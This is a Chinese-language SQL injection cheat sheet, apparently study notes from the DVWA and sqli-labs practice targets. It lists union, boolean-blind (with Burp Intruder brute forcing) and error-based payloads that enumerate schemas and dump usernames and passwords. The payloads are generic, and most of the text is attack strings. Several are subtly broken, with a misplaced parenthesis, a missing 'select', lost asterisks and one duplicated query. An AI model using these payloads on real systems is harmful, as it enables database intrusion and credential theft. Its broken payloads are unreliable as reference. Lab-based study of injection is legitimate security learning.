一、联合查询注入:当有.php?id=1,参数值为id
(1)看有无报错?
'
(2)判断数字型还是字符型注入?
1
数字型:两次返回的页面不同
1 and 1=1
1 and 1=2
字符型:两次返回的页面不同
1' and '1'='1
1' and '1'='2
(3)假设为字符型:猜解字段数
1' order by 1 #(如果是url栏里输入,#用%23或--+代替)(sql注释符-- 在url里就是--+)
...(空格的url编码是+)
1' order by n #(...)
(4)假设字段数2,判断哪些字段有回显:
1' union select 1,2 #
(5)假设1,2都有回显:
获取当前数据库名和数据库用户名
1' union select database(),user() #
获取当前数据库版本和操作系统
1' union select version(),@@version_compile_os #
(6)获取当前数据库里的所有表:假设当前数据库名为dvwa
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
(或者table_name=database()或者table_name=0x64767761)
其中0x64767761为dvwa的十六进制,如果table_name=dvwa会报错
(7)假设查出users表示敏感表:判断users表里有哪些字段?
1' union group_concat(column_name,0x3c2f62723e)(如果结果需要换行,加上0x3c2f62723e,不需要则不用写) from information_schema.columns where table_name='users' #
(8)假设敏感字段是user和password,查询出账号和密码
1' union select user,password from users #
注意:如果是在url里输入,并且发现只能显示一条数据,不像dvwa能显示多条查询记录,用union判断回显时,发现仍然是id=1的显示,这是id=1数据占据了仅有的显示位置
只需修改成id=-1' union select 1,2,3 --+ 就能看有无回显
二、布尔型盲注:当联合查询无回显时
1、首先加'发现有报错,报错信息显示后面跟了limit,先判断是数字型还是字符型
1 看看id=1的页面如何
1 and 1=1
1 and 1=2 若二者返回内容不同则为数字型,若返回内容一样,那肯定是字符型
...(数字型判断不是,那一般就是字符型,字符型可以不用输入判断语句了)
2、猜解当前数据库名称的长度
1' and length(database())=1 --+ 判断返回的结果是否与id=1相同,若与id=1不同是报错,与id=1相同是正确,即数据库名称长度是1
...
那最快的方法就是Bp抓包,发送到Intruder模块,添加变量:GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20length(database())=§7§%20%23 HTTP/1.1
设置Payloads为Numbers,数据库名称应该不会超过20,50这样的吧?设置1-20,间隔为1,果然为8时,返回了正确提示
3、猜测数据库名称,数据库名称长度为8,那就先从第一个字符开始:
1' and ascii(substr(database()),1,1) > 97 --+ 一般手工注入就是这样手算,substr()可以换成mid()和left(database(),1)、ascii()可以换成ord()
依然用Bp来爆破:GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20substr(database(),1,1)=%27§a§%27%20%23 HTTP/1.1 得出最后结果security
不对,不是将其爆破8次,应该将两个位置的参数,同时一起爆破:太鸡巴帅了,直接同时爆破,因为这两个位置属于:不同且不相关的未知输入攻击,攻击模式即为Cluster bomb
GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20substr(database(),§1§,1)=%27§a§%27%20%23 HTTP/1.1
第一个位置就是用Number类型的字典,1-8按照数据库名称长度,第二个字典只需小写字母的英文字典,sql不区分大小写,最终结果为security(注意,有些数据库名称可能会有下划线。大写字母等,保险起见还是用 ascii(substr(database()),§1§,1) = §32§ ,32这里用32到127的数字字典,在ASCII表里表示所有可打印字符的范围)
4、猜解数据库中的表名:
首先猜解当前数据库中有多少张表:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+ 这里手工测试吧,改变最后位置的1,直到返回正确的页面,最后结果为4张表
接着猜解第一张表名称的第一个字符:
首先仍然需要猜解第一张表的名称长度:substr需要截取整个名称字符串,省略第三个参数,默认截取到字符串结束为止
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 --+ 结果长度为6,一般我们在这里直接将剩余三张表的长度也测出来了
同时测出四张表的各自的名称长度,预计名称长度应该不会超过20,注意第一个位置的字典设置成0-3,而不是1-4,limit从0开始
id=1%27%20and%20length(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20§0§,1),1))=§1§%20--+ HTTP/1.1
最终结果:四张表名的长度依次是6,8,7,5
接着猜解第一张表的名称
手工注入是这样:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
但是我们选择同时进行两个位置的爆破:已经测出长度为6,第一个位置的字典就设置为Number类型的1-6,第二个位置就是a-z
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
?id=1%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),§1§,1)=%27§a§%27%20--+ HTTP/1.1
最终结果为emails
同样的方法(这里得再测三次),得出剩余三张表的名称为:referers、uagents、users
5、显然来猜解users表中的字段名有哪些?
首先猜解有多少个字段?
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 --+(手工判断)
id=1%27%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)=§1§%20--+ HTTP/1.1 (Bp爆破) 结果为27个字段,我的天
正常步骤是:继续猜解第一个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 --+ (拿到bp里去爆破的话,可以同时测出27个字段各自的名称长度)
接着第一个字段的名字(先猜解第一个字段的第一个字符ascii码)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97 --+
显示存在,说明users表的第一个字段的第一个字符的ascii值大于97(小写字母a的ascii值)
或者用:1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a' --+ 拿到bp里去爆破,两个位置进行爆破
这里要同时进行27次,太麻烦,下面有几个稍微快速的猜测的办法:
第一种:用正则表达式来匹配
select 1 from product where id = 1;返回一条结果为1的记录,如果where条件里有错误,会报错。
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and regexp '^us[a-z]' limit 0,1) --+),具体看文档
这里我们用直接猜吧?有可能其他数据库里也有users这张表,所以后面加个and database()
1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1)='username' --+
(对limit后面的0进行0到27的爆破,前面已查出有27个字段名,改成password再做同样操作),实验结果,第二个字段为username,第三个字段为password
6、接下来就要猜解users表中username字段和password字段的数据:
1' and (select count(username) from users)=1 --+ (改变最后位置的1,直到返回正确的页面,判断出有多少行的数据),最后结果为13,用Bp爆破出来
同样先猜解出username列的第一行的数据的长度
1' and length(substr((select username from users limit 0,1),1))=1 --+结果为4
猜解出名称,从第一个字符开始,直接两个位置一起爆破
1' and substr((select username from users limit 0,1),1,1)='a' --+ 结果为dumb,同理猜解出对应的密码,就是password列的第一行数据,用跟username列同样的方法,这里暂时就只猜解第一行数据了
三、报错注入:记住几个分隔符,0x3a是: 0x7e是~ 0x7c是| ,这些分隔符用于插入concat()函数中
1、floor()、rand()、count()、group by
最基本的是这样:
select count(),floor(rand(0)2) x from table group by x;
其他:
select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2)) x from information_schema.tables group by x)a);
select * from message where id=1 union select * from(select count(),concat(floor(rand(0)2),user()) x from information_schema.tables group by x)a;
select count() from information_schema.tables group by concat(version(), floor(rand(0)2));
2、select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
以extractvalue()函数的报错来实践一下,sqli-labs靶场的第17关,其实就是替换。。。
版本信息:
and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #
数据库名称
and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
获取表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) #
获取列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e)) #
获取数据
and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#
数据库名
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
表名
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
列名
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
获取数据
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
4、select * from test where id=1 and geometrycollection((select * from(select * from (select user()) a) b));
(select user()) a
(select * from (select user()) a) b
(select * from a) b
geometrycollection((select * from b));
5、select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6、select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7、select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8、select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9、select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
以下数据库版本要在5.5.5及其以上
10、select * from test where id=1 and exp(~(select * from(select user())a));